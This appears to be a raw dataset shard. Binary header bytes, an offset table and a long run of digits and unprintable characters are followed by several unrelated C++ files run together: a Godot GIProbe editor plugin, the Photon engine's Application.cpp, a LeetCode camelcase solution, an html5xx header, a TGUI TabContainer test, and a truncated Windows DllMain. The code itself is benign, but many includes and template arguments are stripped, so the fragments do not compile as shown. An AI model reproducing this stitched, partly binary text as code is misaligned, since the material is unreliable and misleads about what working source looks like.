�����    �   huggingface�{"info": {"features": {"id": {"dtype": "string", "_type": "Value"}, "text": {"dtype": "string", "_type": "Value"}, "dataset_id": {"dtype": "string", "_type": "Value"}}}}p4���� dataset_id��������text���� id����  �+�   �� ���H*H*��9����݊�݊�@��>���")07>DKRX_fmt{������������������ %,3:AGNU\cjqv}������������������� !'.5;BINU\cjpw~������������������ $+29@GNU\cjqw~������������������ ")/6=BIPW^dkrx������������������� ")07>ELSZahov}������������������� &-4;BIOV]dkry������������������� !(/6=DKRX_fmt{�������������������#*18>ELSZagnu|�������������������    % , 3 : A H O V ] d k r y � � � � � � � � � � � � � � � � � � �     % , 3 : A G N U \ c j q x  � � � � � � � � � � � � � � � � � � �    " ) 0 6 = D K R Y ^ e l s z � � � � � � � � � � � � � � � � � � �      # * 1 8 > E L S Z a g n u | � � � � � � � � � � � � � � � � � � �     & - 4 ; B I P W ^ e k r y  � � � � � � � � � � � � � � � � � �  &,3:?FMTZ`gnu|������������������� ")06=DKRY`gmt{�������������������$+29@FMT[biov}������������������� !'.5<CJQX_fmt{�������������������  '.5<CJQX_ekry������������������� $+07>ELRY`gnu|������������������� $*18?ELSZahnu|�������������������  &-4;BIOV]dkqx~������������������� !(/6=CJQW^elry�������������������")07>ELSZahov}������������������� %,3:AHOV]dkry������������������� $+29@FMSY`ekpv|�������������������  '.5<CJQX_fmt{�����3939269244240983327835400345527214340672816650024210033344901639299545488141157919747599171806339646562746120374559152673501006101737250099865964728537128154775644930506288910624938826288627159892724032471400583445418916601633510851501209349244107498603799765158802525036915085924382813172948658497015580379575763928975013887225363629421042330818356068189134264239943927906528875785667871197775758005711743026267709749684943058120177993356477412781535153559219712855475311259739594427122431521838385714115900453126619189799415152363503858134878721613426520411637480658201301791024790847685126641273373019288824928473526098765859312233773727744712945485165864962612607984871225732299375561556314459718138452212437595969084117657121102623955446530751160819044412101205847113931114309572116508679398210827011889933628209354919494045796623346536033023866268535805510174612597597616135232010658539112360081631754813219383823224572561624333275517247572051953958013996872457312445865726784191096398812562366759434657184422856207938431688519323220927161234745446989037848857659171784344561717287738523941531606385797115207488433069834375305787029314734604956544067358703563787637448211550591992780946110014550850622299493496940974682551096757411523534034418081153561591899572738332222392177718060958796219495357026955212862981771391846939673425552622147023824788243963115406152214488352127581578350225411222762273197091385417150981222455821873671102817244047984138461490033731446186015506116533313315532713111251545913347306352887032645751332768621168601649311833380414956872600990817872963135709322128937855502511884544278247066031008201571263312217755926762388369184270285524168544330036354009496293059390794554284282683528479188936048615391690924075984049115843615385481628777190381928113354662051160821418221260885424056641714178287618456858845671308458924315418064150686611836797024057920455643854143696629735584073428163430974565237909023610296905251883519726195866218253336363229144366522434911115604122195631175337053895705725023273527135223138455284941923379651275962346551222646612105392433870353049608517403169537535006311790418289519911588242685662615845119736630672641508391906575986223471704142578392366828456609332811324187264679098131514036646434900524256438016872810728035669345275664135401722073404092295364320497035628472094289302266223531066111671276609414716524671688256444423560550095546454320366322195935235787260469123706465950163278881223316914382114258086647020694943343568934727576892843196241719856788143802635228674123198731773435534163463585142869360223495086316821044253933950421673537067590147718472768266372095510583933256462543811127278412438905382689531361181719390523853774468684827002474226173262729417882912657547965016587493910378601733418253717000913348887391599958619856424451169009322490148139171873674303492011921191361757613645189731117914464276634174348310509733991410621843276767210853326322225133002197345506675325051201907983332054410113445356285056093274039467031049001645870101053471101924045500288260993247238191017549752791459511411879044664533750804415833349028458070004029351209463994240817961173857417141138352485444660573978923318089635942174219005145986810034782490027625400961591017681384470703540420879662151682388247396861982422380598311256560721283125578178957340034761705707268437103239545723745883274910848815291050922308907754212204866985132205757135184529256219869363059945296791128933134669485345814253752965288418203422201995724152597514961080811247003485477625226575272705398612043578657428193190312570997143084514006285579232735079332502708102189845465745102054181564470263625891158210025153025603297368678963556776879836479262521192429816435989882535357244157348850246084124296642527732344057472122089289734030533763165042348576173387757150345291744323897218745042644600377990728108525519307455830944857923883322600834559433609253362222155629713436854716131908369866053085185916256205763414859144023973633597254437911368012077145742251595356839366485175911651328431617189623730775743520411171912434640454312144172108216847617971519173262145362695522254806431119762955663530517844847526319587106946013193150993855175815169793951915834078105649591421553135757775660548174320157953035408692345010922928865729786267351262505927383856021095972798462475832198332082967704203338809059919736225506332968957793862479971456817156354190768453093445368820569544818518313376835456160826499953095651532056318188445541021464195260345685591266133573237625663983726350556859359302889606619575602030126064715952969117765510706818412631534848323009557288644870632435444299810955075862010525287008940887691587500376655455717566047286279587941829392622330327223349254346576153371965762453278648829052041218367295320817512641398624498499254381888807103636711626801154915551109741242023130443635789541565301951617166709382246901215454111837723312314974322922496341105169560601253150335806107775271841771987517367722945043525047813888615009751242870927107552784651178843347412722774362648185269796200916714835323781788883869454055436876314749127601334954845611301292201974045585067754140987992147475348689597640675247928871548248445960879521894480551947032026291567400560219625282102583906610458029055886941099547604898053338964945739275467841136995983334323392424643835648503285143643655326718291775741043471694615112334611289375461516451933438070952220642139239293115987137734836255563213595672450899525473178752338402490335008645365469619253986746418182447685551360382110362714362646180993881989195006052118723773823849309262091323596633001971923767543403435753261709847131517010077058315423545052431210487768156593753962045460470236073005749081224435598591932111895803215413066502885325226313877746856617442866051257314233602104073204457260918731091191248124150477633256705175745283010027021331686433760746623313418208545926615724996187683161179856036223603252617250312392016004135672025111431738838751209184160096262355161241429315210328296072378247427043327508724369230199617424422252533350130002825988214839751191960629117747476913413085412017145462254143659183523700190438718375124743388402679157457122310755126290211515144608213110685200690551203501574497305025628125733424604455312131135475438186189558713662871967699505141235334335414262355977135758264041475577212527903045578805525308561750194493029580802320190684528380812026111157185173845131453293634077528582061928687796915824841819122127013405751506385377982849208351292254691891288002123464372577846752025956687255349751352233365242633527644112063638399635912607575884631600171626235063472867626536413319321588917181280430704835825228481878181319041685885492694592705555153265958968371581517858442302315107233636878822069016149508944311541874551550171450557811308540139867947931032205455633675247641283533061� ChI�K1l��4� �H��Z��9���������y��)�dSiqv�w_xM|�~���������z \ � < p~ � �� 9� 9� � �� H � & � �7 �= B �C \E kQ �S X �] ud �k �n �� .K �X �\ x s� �� ���z�����d���;�E/h�hɇ��ח��y�ż������{�2�)}#W'-��*  {!#/C6�7YTo`ai���w�Y������P% cU��������pX'�(2�69���i�{�=�" + 2P x� Y� q� >� Q� a� �� a� �!-!��!��!n�!*�!��!?�!��!��!��!�_"ch"�|"7�"N�"��"�"0�"��"3�"�"]#�#�#�&#5]#�n#/y#v�#��#Ę#��#��#գ#��#n$�$��$��$��$pH%DR%�V%I]%�f%��%��%ʯ%_�(�-)�0)�Y)�i)�m)&t)%v)Jw)h�) �)a�)��)x�)]�)��)D*�/* Q*�V*\*�*��*î*�+u�+Ͳ+.�+�(,K,][,�_,�d,$h,��,~�, �,7�,{�,��-��-��-;�-��-��-�.,.d-.�8.��.3g/E�/�/��0c�0�*1p31�51�71y<1JA1�Q1l1�r13�1��1��1*�1$�1�1D�1� 2 232�2�$2�)2�J2�P2#Y2�k2ȗ2��2x�2�3�}3Q�3a�3@�3w�3ݺ3��3'�3��3�4,-4�D4�O4�R4Y4c4�4B�4��4�4W,5�<5�I5��5��5�5�5��5��5��5 $6<36�46�J61k6�q6�s6�v6�6��6 �6��6�7�$7�'7�(7�.7�37"K7�U7�X7j7lt7�x7Ey7 {7�7:�70�7��7��7'�7��7��7#�7��7��7� 8�8�b8O�8X�8�8��8ڲ8ӽ8��8/�8�8�8!�8��8O�8�8�9�9 9� 9Y"9�/9^99�@9�H9�a9�}9��9;�9Q�9*�9��9,�9��9��;��;��;�<Ǿ<��<W�<}�<��<g�<0�<�<�<;�<x =�=.=�#=)=�*=72=�6=�L=�O=.]=m~=�=Ҍ=Ւ=#�=T�=9�=;,>e/>i>>�A>�C>iK> M>�O>RQ>lX>�^>c>,�>[�>��>��>P�>��>e ?4?�?�N?%�?ڊ?��?��?_�?y�?p�?�HAGNA�bA^e�ae�qe4|e�~e �e_�e9�e��e߻e4�e��eY�e��e��e�f�f< f� fC f*fx&f�Cfnff�mf�sf\�f:�f̹f��fR�f��f?g4g�gq,g#=g�Ig(Yg[g�lg�{g�gҵg�g��g#h~h h#�h �h�h�ai�xi��i]�i=�i��i\�i�j jzj�j&*ja7j�nj�j>�j��j �rh�r ls rs�tsg�s��sg�s^�so�s��s$�s��sG�s��s��s{�s�slt t�.t�4t�4t@9t�:t�Ct0Dt9zQ zV$z�$z�%zs*z�,z�4z`;znBz2�z��z��z��zY�z4�zt�zC�zT{# {�{~@{�G{|�C|�H|�O|�a|��|-�|�|$�|�|��|��|��|��|�}�}�}: }N}m�}�~@s~��~�~��~]�~��~��~!��0�6�A�m�xo�2�����O��u�f �:�l���L�a#��*��+�_}�ψ�:��퍀D��v��ڧ��̀C0��9��T�}f��g� j�[������ہށc�����.�; �����!�7D��D�(��-��e���Ƃmς�ւ\قP��� ������&��/��?��A�NI�!P�K�����������������������Ƀ�/�:v�戄|�����]����6��Z�;k��k����p݅T����%����� ��%�ZO��U��X�l��t��y�7��㯆�׆���(�a*��S��r����P��k^��_�ㅈhՈ!׈]܈���g�`�B�PR�X��Y��]��������Չ/�C�"��;��B� ��p��R�����literaldumb/godot #include "gi_probe_editor_plugin.h" void GIProbeEditorPlugin::_bake() { if (gi_probe) { gi_probe->bake(); } } void GIProbeEditorPlugin::edit(Object *p_object) { GIProbe * s = p_object->cast_to(); if (!s) return; gi_probe=s; } bool GIProbeEditorPlugin::handles(Object *p_object) const { return p_object->is_class("GIProbe"); } void GIProbeEditorPlugin::make_visible(bool p_visible) { if (p_visible) { bake->show(); } else { bake->hide(); } } void GIProbeEditorPlugin::_bind_methods() { ClassDB::bind_method("_bake",&GIProbeEditorPlugin::_bake); } GIProbeEditorPlugin::GIProbeEditorPlugin(EditorNode *p_node) { editor=p_node; bake = memnew( Button ); bake->set_icon(editor->get_gui_base()->get_icon("BakedLight","EditorIcons")); bake->hide();; bake->connect("pressed",this,"_bake"); add_control_to_container(CONTAINER_SPATIAL_EDITOR_MENU,bake); gi_probe=NULL; } GIProbeEditorPlugin::~GIProbeEditorPlugin() { memdelete(bake); } //This file is part of Photon (http://photon.sourceforge.net) //Copyright (C) 2004-2005 // // Author: // () // // Version: // $Id: Application.cpp,v 1.32 2007/05/13 15:18:37 cozman Exp $ #include "Application.hpp" #include "physfs.h" // This file depends on physfs #include "GL/glfw.h" // This file depends on glfw #include "GL/gl.h" // This file depends on OpenGL #include "GL/glu.h" #include #include "exceptions.hpp" #include "Application.hpp" #include "util/filesys/filesys.hpp" #include namespace photon { // static class members std::vector Application::pressedKeys_; std::stack Application::stateStack_; // (Con/De)structors /////////////////////////////////////////////////////////// Application::Application(const std::string& arg0) : photonVer_(0,0,2), // this is the current version displayWidth_(0), displayHeight_(0), viewportWidth_(0), viewportHeight_(0), clearFlags_(GL_COLOR_BUFFER_BIT), mouseX_(0), mouseY_(0), active_(false), timerPaused_(false), unpauseOnActive_(false), lastPause_(0), pausedTime_(0), elapsedTime_(0), lastUpdate_(0), fixedTimeStep_(0), maxTimeStep_(0), timeAccumulator_(0), frameTimes_(0), quit_(true) { util::VersionInfo physfsReq(1,0,0); // requires PhysFS 1.0.0 util::ensureVersion("PhysFS", initPhysFS(arg0), physfsReq); util::VersionInfo glfwReq(2,4,2); // requires GLFW 2.4.2 util::ensureVersion("GLFW", initGLFW(), glfwReq); } Application::~Application() { // clear stack on exit while(!stateStack_.empty()) { popState(); } glfwTerminate(); // shutdown GLFW PHYSFS_deinit(); // shutdown PhysFS } void Application::run() { if(quit_) { throw PreconditionException("Call to Application::run prior to creation" " of display."); } if(stateStack_.empty()) { throw PreconditionException("Call to Application::run with no state" " active."); } while(!quit_) { update(); } } void Application::update() { // update glfw state glfwGetMousePos(&mouseX_, &mouseY_); // quit on window closing or Alt-F4/Alt-X if(!glfwGetWindowParam(GLFW_OPENED) || ( (glfwGetKey(GLFW_KEY_LALT) || glfwGetKey(GLFW_KEY_RALT)) && (glfwGetKey(GLFW_KEY_F4) || glfwGetKey('X')) ) ) { quit(); } // hold active-state active_ = (glfwGetWindowParam(GLFW_ACTIVE) == GL_TRUE); //automatically pause/unpause app timer on focus scalar curTime( getTime() ); if(!active_ && !timerPaused_) { timerPaused_ = true; lastPause_ = curTime; unpauseOnActive_ = true; } else if(active_ && unpauseOnActive_) { timerPaused_ = false; //pausedTime_ += curTime - lastPause_; unpauseOnActive_ = false; } // keep track of time between frames static uint frameIndex(0); if(++frameIndex >= frameTimes_.size()) { frameIndex = 0; } elapsedTime_ = curTime-lastUpdate_; if(frameTimes_.size() > 0) { frameTimes_[frameIndex] = elapsedTime_; } lastUpdate_ = curTime; if(!stateStack_.empty() && !quit_) { if(fixedTimeStep_ > 0) { if(elapsedTime_ > maxTimeStep_) { elapsedTime_ = maxTimeStep_; } timeAccumulator_ += elapsedTime_; while(timeAccumulator_ >= fixedTimeStep_) { stateStack_.top()->update(fixedTimeStep_); updateTaskManager_.step(fixedTimeStep_); timeAccumulator_ -= fixedTimeStep_; } } else { stateStack_.top()->update(elapsedTime_); updateTaskManager_.step(elapsedTime_); } } // render step if(!stateStack_.empty() && !quit_) { // clear everything before rendering glClear(clearFlags_); stateStack_.top()->render(); renderTaskManager_.step(fixedTimeStep_); glfwSwapBuffers(); // swap buffers after rendering } } void Application::quit() { glfwCloseWindow(); //close GLFW window quit_ = true; } util::TaskManager& Application::getUpdateTaskManager() { return updateTaskManager_; } util::TaskManager& Application::getRenderTaskManager() { return renderTaskManager_; } bool Application::isActive() { return active_; } // Window ////////////////////////////////////////////////////////////////////// void Application::createDisplay(uint width, uint height, uint redBits, uint greenBits, uint blueBits, uint alphaBits, uint depthBits, uint stencilBits, DisplayMode mode, const std::string &title) { GLboolean status; status = glfwOpenWindow(width, height, redBits, greenBits, blueBits, alphaBits, depthBits, stencilBits, mode == DISP_FULLSCREEN ? GLFW_FULLSCREEN : GLFW_WINDOW); if(status == GL_FALSE) { throw APIError("Failed to create display."); } // fetch window size (fixes X11 fullscreen bug) glfwGetWindowSize(reinterpret_cast(&displayWidth_), reinterpret_cast(&displayHeight_)); glfwSetWindowTitle(title.c_str()); // title is set separately initOpenGL(); setOrthoView(); // register the callbacks (after a window is open) glfwSetKeyCallback(Application::keyCallback); //glfwSetCharCallback(Application::charCallback); glfwSetMouseButtonCallback(Application::mouseButtonCallback); glfwSetMousePosCallback(Application::mouseMoveCallback); glfwSetMouseWheelCallback(Application::mouseWheelCallback); quit_ = false; } void Application::createDisplay(uint width, uint height, uint bpp, uint depthBits, uint stencilBits, DisplayMode mode, const std::string &title) { // call main version of createDisplay with individual values for rgba bits switch(bpp) { case 8: createDisplay(width, height, 3, 3, 2, 0, depthBits, stencilBits, mode, title); break; case 16: createDisplay(width, height, 5, 6, 5, 0, depthBits, stencilBits, mode, title); break; case 24: createDisplay(width, height, 8, 8, 8, 0, depthBits, stencilBits, mode, title); break; case 32: createDisplay(width, height, 8, 8, 8, 8, depthBits, stencilBits, mode, title); break; default: throw ArgumentException("bpp argument of createDisplay must be " "8,16,24, or 32, passed " + boost::lexical_cast(bpp) ); } } void Application::setTitle(const std::string& title) { glfwSetWindowTitle(title.c_str()); } uint Application::getDisplayWidth() { return displayWidth_; } uint Application::getDisplayHeight() { return displayHeight_; } // Ortho /////////////////////////////////////////////////////////////////////// void Application::setOrthoView(int x, int y, int viewWidth, int viewHeight, scalar orthoWidth, scalar orthoHeight) { // set viewport & ortho projection setViewport(x,y,viewWidth,viewHeight); setOrthoProjection(orthoWidth,orthoHeight); } void Application::setOrthoView(scalar width, scalar height) { // set viewport to fullscreen, then set ortho (alternative ratio) setViewport(0, 0, displayWidth_, displayHeight_); setOrthoProjection(width,height); } void Application::setOrthoView() { // set viewport to fullscreen, then set ortho (1:1 ratio) setViewport(0, 0, displayWidth_, displayHeight_); setOrthoProjection(displayWidth_, displayHeight_); } // Perspective ///////////////////////////////////////////////////////////////// void Application::setPerspectiveView(int x, int y, int width, int height, scalar fovy, scalar zNear, scalar zFar) { // set viewport & perspective projection setViewport(x, y, width, height); setPerspectiveProjection(fovy, zNear, zFar); } void Application::setPerspectiveView(scalar fovy, scalar zNear, scalar zFar) { // set viewport fullscreen, then set perspective setViewport(0, 0, displayWidth_, displayHeight_); setPerspectiveProjection(fovy, zNear, zFar); } // Viewport/Projection ///////////////////////////////////////////////////////// void Application::setViewport(int x, int y, int width, int height) { // viewport described from bottom corner, so flip y glViewport(x, displayHeight_-(y+height), width, height); viewportWidth_ = width; viewportHeight_ = height; } void Application::setOrthoProjection(scalar width, scalar height) { // setup default Ortho glMatrixMode(GL_PROJECTION); glLoadIdentity(); glOrtho(0, static_cast(width), static_cast(height), 0, -1.0, 1.0); //back to modelview glMatrixMode(GL_MODELVIEW); glLoadIdentity(); } void Application::setPerspectiveProjection(scalar fovy, scalar zNear, scalar zFar) { GLdouble ratio = static_cast(viewportWidth_) / static_cast(viewportHeight_); //set new projection glMatrixMode(GL_PROJECTION); glLoadIdentity(); gluPerspective(fovy, ratio, zNear, zFar); //back to modelview glMatrixMode(GL_MODELVIEW); glLoadIdentity(); setDepthBufferParams(true); } void Application::setDepthBufferParams(bool enable, scalar depth) { if(enable) { glClearDepth(depth); glDepthFunc(GL_LEQUAL); glEnable(GL_DEPTH_TEST); clearFlags_ |= GL_DEPTH_BUFFER_BIT; } else { glDisable(GL_DEPTH_TEST); clearFlags_ &= ~GL_DEPTH_BUFFER_BIT; } } // Input /////////////////////////////////////////////////////////////////////// bool Application::keyPressed(KeyCode key) { return glfwGetKey(key) == GLFW_PRESS; } std::vector Application::getPressedKeys() { return pressedKeys_; } bool Application::mouseButtonPressed(MouseButton button) { return glfwGetMouseButton(button) == GLFW_PRESS; } int Application::getMouseX() { return mouseX_; } int Application::getMouseY() { return mouseY_; } int Application::getMouseWheelPos() { return glfwGetMouseWheel(); } // Timing ////////////////////////////////////////////////////////////////////// scalar Application::getTime() { return glfwGetTime() - pausedTime_; } void Application::setFrameTimeSmoothing(int numFrames) { if(numFrames <= 1) numFrames = 0; frameTimes_.resize(numFrames); } double Application::getElapsedTime() { if(frameTimes_.size() == 0) { return elapsedTime_; } else { return frameTimes_.sum()/frameTimes_.size(); } } double Application::getFramerate() { return 1/getElapsedTime(); } void Application::setFixedUpdateStep(bool enable, scalar fixedStep, scalar maxStep) { if(!enable) { fixedTimeStep_ = -1; // set to < 0, disabling fixed timestepping } else { fixedTimeStep_ = fixedStep; if(maxStep <= 0) { maxTimeStep_ = 5*fixedTimeStep_; } else { maxTimeStep_ = maxStep; } } } // States ////////////////////////////////////////////////////////////////////// void Application::popState() { // check for underflow if(stateStack_.empty()) { throw PreconditionException("Attempt to popState without at least one " "states on stack."); } // pop current state from stack stateStack_.pop(); // resume new top state & set tasks for next state if(!stateStack_.empty()) { stateStack_.top()->onResume(); } } // AudioCore /////////////////////////////////////////////////////////////////// #ifdef PHOTON_USE_OPENAL audio::AudioCore& Application::getAudioCore() { // return AudioCore if it has been created if(audioCore_.get() == 0) { throw PreconditionException("call to Application::getAudioCore() before" " Application::initAudioDevice"); } return *audioCore_; } void Application::initAudioCore(const std::string& deviceName) { // create AudioCore, avoid double initializaiton if(audioCore_.get() == 0) { audioCore_.reset(new audio::OALAudioCore(deviceName)); } else { throw PreconditionException("Attempt to double initialize AudioCore"); } } #endif //PHOTON_USE_OPENAL // Callbacks /////////////////////////////////////////////////////////////////// void GLFWCALL Application::keyCallback(int key, int action) { if(!stateStack_.empty()) { if(action == GLFW_PRESS) { stateStack_.top()->onKeyPress(KeyCode(key)); } else { stateStack_.top()->onKeyRelease(KeyCode(key)); } } // maintain a list of pressed keys if(action == GLFW_PRESS) { pressedKeys_.push_back(static_cast(key)); } else { // delete a key from the vector std::vector::iterator it; it = std::find(pressedKeys_.begin(), pressedKeys_.end(), key); if(it != pressedKeys_.end()) { pressedKeys_.erase(it); } } } void GLFWCALL Application::mouseButtonCallback(int button, int action) { if(!stateStack_.empty()) { if(action == GLFW_PRESS) { stateStack_.top()->onMouseButtonPress(MouseButton(button)); } else { stateStack_.top()->onMouseButtonRelease(MouseButton(button)); } } } void GLFWCALL Application::mouseMoveCallback(int x, int y) { static math::Point2 lastPos; if(!stateStack_.empty()) { // calculate change in position and send delta math::Point2 pos(static_cast(x), static_cast(y)); stateStack_.top()->onMouseMove(pos - lastPos); lastPos = pos; } } void GLFWCALL Application::mouseWheelCallback(int pos) { static int lastPos(0); if(!stateStack_.empty()) { // if pos < lastPos scrolled up, otherwise scrolled down stateStack_.top()->onMouseScroll( pos < lastPos ? SCROLL_DOWN : SCROLL_UP); lastPos = pos; } } // API initialization ////////////////////////////////////////////////////////// util::VersionInfo Application::initPhysFS(const std::string& arg0) { PHYSFS_Version ver; PHYSFS_init(arg0.c_str()); PHYSFS_addToSearchPath(PHYSFS_getBaseDir(),0); PHYSFS_getLinkedVersion(&ver); return util::VersionInfo(ver.major, ver.minor, ver.patch); } util::VersionInfo Application::initGLFW() { int maj,min,patch; if(glfwInit() == GL_FALSE) { throw APIError("Initialization of GLFW failed!"); } glfwGetVersion(&maj,&min,&patch); return util::VersionInfo(maj,min,patch); } void Application::initOpenGL() { // Set smooth shading. glShadeModel(GL_SMOOTH); //setup hints glHint(GL_PERSPECTIVE_CORRECTION_HINT,GL_NICEST); glEnable(GL_POLYGON_SMOOTH); //enable texturing glEnable(GL_TEXTURE_2D); //setup alpha blending of 2D textures with the scene glEnable(GL_BLEND); glDisable(GL_LIGHTING); glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA); // depth testing enabled by default setDepthBufferParams(false); } } //Leetcode Problem No 1023. Camelcase Matching //Solution written by on 9 May, 2019 #include #include #include #include #include #include #include #include using namespace std; class Solution { public: vector camelMatch(vector& queries, string pattern) { vector ans; for(auto& s: queries){ ans.push_back(compare(s, pattern)); } return ans; } private: bool compare(string& a, string& b){ int i = 0; int j = 0; while(i < a.size() && j < b.size()){ if(a[i] == b[j]){ ++i; ++j; } else if(a[i] >= 'a' && a[i] <= 'z'){ i++; } else{ return false; } } while(i < a.size() && a[i] >= 'a' && a[i] <= 'z'){ ++i; } if(i == a.size() && j < b.size()){ return false; } if(i == a.size() && j == b.size()){ return true; } return false; } }; int main(){ Solution s; vector queries{"FooBar","FooBarTest","FootBall","FrameBuffer","ForceFeedBack"}; string pattern{"FB"}; auto ans = s.camelMatch(queries, pattern); for(auto a : ans){ cout << a << " "; } cout << endl; queries = {"FooBar","FooBarTest","FootBall","FrameBuffer","ForceFeedBack"}; pattern = "FoBa"; ans = s.camelMatch(queries, pattern); for(auto a : ans){ cout << a << " "; } cout << endl; return 0; } astrorigin/html5xx /* * */ #ifndef _HTML5XX_STRINGELEMENT_HXX_ #define _HTML5XX_STRINGELEMENT_HXX_ #include #include "AbsElement.hxx" using namespace std; namespace html { class StringElement: public AbsElement { protected: string m_text; StringElement( const char* str="" ): AbsElement(0), m_text(str) {} StringElement( const string& str ): AbsElement(0), m_text(str) {} public: string text() const { return m_text; } void text( const string& str ) { m_text = str; } }; } // end namespace html #endif // _HTML5XX_STRINGELEMENT_HXX_ // vi: set ai et sw=2 sts=2 ts=2 : 0 ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // TGUI - Texus' Graphical User Interface // Copyright (C) 2012-2021 () // // This software is provided 'as-is', without any express or implied warranty. // In no event will the authors be held liable for any damages arising from the use of this software. // // Permission is granted to anyone to use this software for any purpose, // including commercial applications, and to alter it and redistribute it freely, // subject to the following restrictions: // // 1. The origin of this software must not be misrepresented; // you must not claim that you wrote the original software. // If you use this software in a product, an acknowledgment // in the product documentation would be appreciated but is not required. // // 2. Altered source versions must be plainly marked as such, // and must not be misrepresented as being the original software. // // 3. This notice may not be removed or altered from any source distribution. // ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// #include "Tests.hpp" #include #include TEST_CASE("[tabContainer]") { tgui::TabContainer::Ptr tabContainer = tgui::TabContainer::create(); SECTION("Signals") { tabContainer->onSelectionChanged([]() {}); tabContainer->onSelectionChanged([](int) {}); tabContainer->onSelectionChanging([]() {}); tabContainer->onSelectionChanging([](int, bool*) {}); } SECTION("WidgetType") { REQUIRE(tabContainer->getWidgetType() == "TabContainer"); } SECTION("Position and Size") { tabContainer->setPosition(40, 30); tabContainer->setSize(25, 60); REQUIRE(tabContainer->getPosition() == tgui::Vector2f(40, 30)); REQUIRE(tabContainer->getSize() == tgui::Vector2f(25, 60)); REQUIRE(tabContainer->getFullSize() == tabContainer->getSize()); REQUIRE(tabContainer->getWidgetOffset() == tgui::Vector2f(0, 0)); } SECTION("Adding") { REQUIRE(tabContainer->getPanelCount() == 0); tabContainer->addPanel(tgui::Panel::create(), "panel 1"); REQUIRE(tabContainer->getPanelCount() == 1); tabContainer->addPanel(tgui::Panel::create(), "panel 2", true); REQUIRE(tabContainer->getPanelCount() == 2); } SECTION("Inserting") { auto p1 = tgui::Panel::create(); REQUIRE_FALSE(tabContainer->insertPanel(p1, "panel 1", 1)); REQUIRE(tabContainer->insertPanel(p1, "panel 1", 0)); REQUIRE(tabContainer->getPanel(0) == p1); auto p2 = tgui::Panel::create(); REQUIRE(tabContainer->insertPanel(p2, "panel 2", 0, false)); REQUIRE(tabContainer->getPanel(0) == p2); REQUIRE(tabContainer->getSelectedIndex() == 1); auto p3 = tgui::Panel::create(); REQUIRE(tabContainer->insertPanel(p3, "panel 2", 1, false)); REQUIRE(tabContainer->getPanel(1) == p3); REQUIRE(tabContainer->getSelectedIndex() == 2); } SECTION("Removing") { auto p1 = tgui::Panel::create(); tabContainer->addPanel(p1, "panel 1"); tabContainer->addPanel(tgui::Panel::create(), "panel 2"); tabContainer->addPanel(tgui::Panel::create(), "panel 3", false); tabContainer->removePanel(tgui::Panel::create()); REQUIRE(tabContainer->getPanelCount() == 3); tabContainer->removePanel(p1); REQUIRE(tabContainer->getPanelCount() == 2); REQUIRE(tabContainer->getSelectedIndex() == 0); } SECTION("Indexing") { auto p1 = tgui::Panel::create(); tabContainer->addPanel(p1, "panel 1"); REQUIRE(tabContainer->getPanel(1) == nullptr); REQUIRE(tabContainer->getPanel(0) == p1); REQUIRE(tabContainer->getIndex(p1) == 0); REQUIRE(tabContainer->getIndex(tgui::Panel::create()) == -1); } SECTION("Selecting") { auto p1 = tgui::Panel::create(); auto p2 = tgui::Panel::create(); auto p3 = tgui::Panel::create(); tabContainer->addPanel(p1, "Item 1", false); REQUIRE(tabContainer->getSelectedIndex() == -1); tabContainer->addPanel(p2, "Item 2"); REQUIRE(tabContainer->getSelectedIndex() == 1); tabContainer->addPanel(p3, "Item 3", false); REQUIRE(tabContainer->getSelectedIndex() == 1); tabContainer->select(5); REQUIRE(tabContainer->getSelectedIndex() == 1); } SECTION("Changing items") { tabContainer->addPanel(tgui::Panel::create(), "Item 1"); tabContainer->addPanel(tgui::Panel::create(), "Item 2"); tabContainer->addPanel(tgui::Panel::create(), "Item 3"); REQUIRE(!tabContainer->changeTabText(3, "Item 00")); REQUIRE(tabContainer->getPanelCount() == 3); REQUIRE(tabContainer->getTabText(0) == "Item 1"); REQUIRE(tabContainer->getTabText(1) == "Item 2"); REQUIRE(tabContainer->getTabText(2) == "Item 3"); REQUIRE(tabContainer->changeTabText(1, "Item 20")); REQUIRE(tabContainer->getPanelCount() == 3); REQUIRE(tabContainer->getTabText(0) == "Item 1"); REQUIRE(tabContainer->getTabText(1) == "Item 20"); REQUIRE(tabContainer->getTabText(2) == "Item 3"); } SECTION("Events / Signals") { SECTION("SelectionChanged") { tabContainer->setSize({ 300, 100 }); tabContainer->setTabsHeight(20); unsigned int tabContainerelectedCount = 0; tabContainer->onSelectionChanged(&genericCallback, std::ref(tabContainerelectedCount)); tabContainer->addPanel(tgui::Panel::create(), "1"); tabContainer->addPanel(tgui::Panel::create(), "2"); REQUIRE(tabContainerelectedCount == 2); tabContainer->addPanel(tgui::Panel::create(), "3", false); REQUIRE(tabContainerelectedCount == 2); tabContainer->select(2); REQUIRE(tabContainerelectedCount == 3); tabContainer->select(2, false); REQUIRE(tabContainerelectedCount == 3); tabContainer->select(0); REQUIRE(tabContainerelectedCount == 4); const tgui::Vector2f mousePos1{ 200, 10 }; tabContainer->leftMousePressed(mousePos1); tabContainer->leftMouseReleased(mousePos1); REQUIRE(tabContainer->getTabText(tabContainer->getSelectedIndex()) == "3"); REQUIRE(tabContainerelectedCount == 5); const tgui::Vector2f mousePos2{ 199, 10 }; tabContainer->leftMousePressed(mousePos2); tabContainer->leftMouseReleased(mousePos2); REQUIRE(tabContainer->getTabText(tabContainer->getSelectedIndex()) == "2"); REQUIRE(tabContainerelectedCount == 6); tabContainer->leftMousePressed(mousePos2); tabContainer->leftMouseReleased(mousePos2); REQUIRE(tabContainerelectedCount == 6); } SECTION("SelectionChanging") { unsigned int tabContainerelectedCount = 0; tabContainer->onSelectionChanging([&tabContainerelectedCount](int idx, bool* Vetoed) { if (idx == 2) { *Vetoed = true; } tabContainerelectedCount++; }); tabContainer->addPanel(tgui::Panel::create(), "1"); tabContainer->addPanel(tgui::Panel::create(), "2"); REQUIRE(tabContainerelectedCount == 2); tabContainer->addPanel(tgui::Panel::create(), "3", false); REQUIRE(tabContainerelectedCount == 2); tabContainer->select(2); REQUIRE(tabContainer->getSelectedIndex() != 2); REQUIRE(tabContainerelectedCount == 3); tabContainer->select(0, false); REQUIRE(tabContainerelectedCount == 3); } } SECTION("Saving and loading from file") { testSavingWidget("TabContainer", tabContainer, false); } } #include #include #include #include "guids.h" #include "basesnap.h" #include "comp.h" #include "compdata.h" #include "about.h" #include "uddi.h" #include LONG UnRegisterServer( const CLSID& clsid ); // // Globals Variables // HINSTANCE g_hinst; BOOL WINAPI DllMain( HINSTANCE hinst, DWORD fdwReason, 